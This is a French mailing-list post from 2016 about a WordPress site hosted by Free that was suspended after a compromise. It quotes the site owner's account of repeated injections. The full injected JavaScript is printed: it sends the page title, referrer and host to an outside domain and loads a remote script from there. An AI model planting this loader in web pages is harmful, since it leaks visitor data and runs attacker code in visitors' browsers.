[Toulibre] site free suspendu

[Jérôme]

Le 2016-01-29 15:27, Julien Marin via Toulouse-ll a écrit :

> Si c'est cette deuxième hypothèse, les pirates ont du profiter d'une
> faille wordpress (ou d'un code d'accès à l'interface d'administration
> facile à trouver) pour prendre la main sur ton site, y installer un
> module de mass-mailing, et balancer à tout va des pub diverses avant
> que free ne te bloque...

Je pense que c'est plutôt ça. Camille a écrit :

-------------

>> J'avais eu un signe avant coureur. A partir du mois d'octobre, des lignes de codes ont été insérées à mon insu :
>>
>> <script>var a=''; setTimeout(10); var default_keyword =
>> encodeURIComponent(document.title); var se_referrer =
>> encodeURIComponent(document.referrer); var host =
>> encodeURIComponent(window.location.host); var base =
>> "http://megatest.vn/js/jquery.min.php"; var n_url = base +
>> "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer +
>> "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" +
>> encodeURIComponent(n_url); if (default_keyword !== null &&
>> default_keyword !== '' && se_referrer !== null && se_referrer !==
>> ''){document.write('<script type="text/javascript" src="' + f_url + '">'
>> + '<' + '/script>');}</script>
>>
>> Elles se trouvaient dans l'en-tête des feuilles de style et avaient pour effet de bloquer une dizaine de secondes chaque page du site qu'on essayait de charger. Je n'y connais vraiment pas grand chose, mais un sympathisant m'a prévenu du problème et je les ai effacées. Mais elles revenaient à chaque fois, une à deux fois par semaine. J'ai pris l'habitude de les retirer. J'ai modifié le nom d'administrateur et le mot de passe, mais ça n'a pas réglé le problème. J'ai continué à effacer ces lignes de code, une à deux fois par semaine.
>> Je voulais changer les autres mots de passe (base de données, et je ne sais quoi d'autre), et télécharger une version plus récente de wordpress puisqu'on n'est plus limité à la version 3.1.4 depuis quelques temps, mais je ne l'ai pas fait par peur de tout planter : j'espérais trouver quelqu'un pour m'y aider. Free ne m'a pas laissé davantage de temps pour résoudre le problème et le site est maintenant suspendu. Je ne comprends pas comment faire pour accéder à la demande de free. J'ai rencontré quelqu'un de tetraneutral qui m'a suggéré de me tourner vers vous. Pouvez vous m'aider ?

-------------

-- 
Jérôme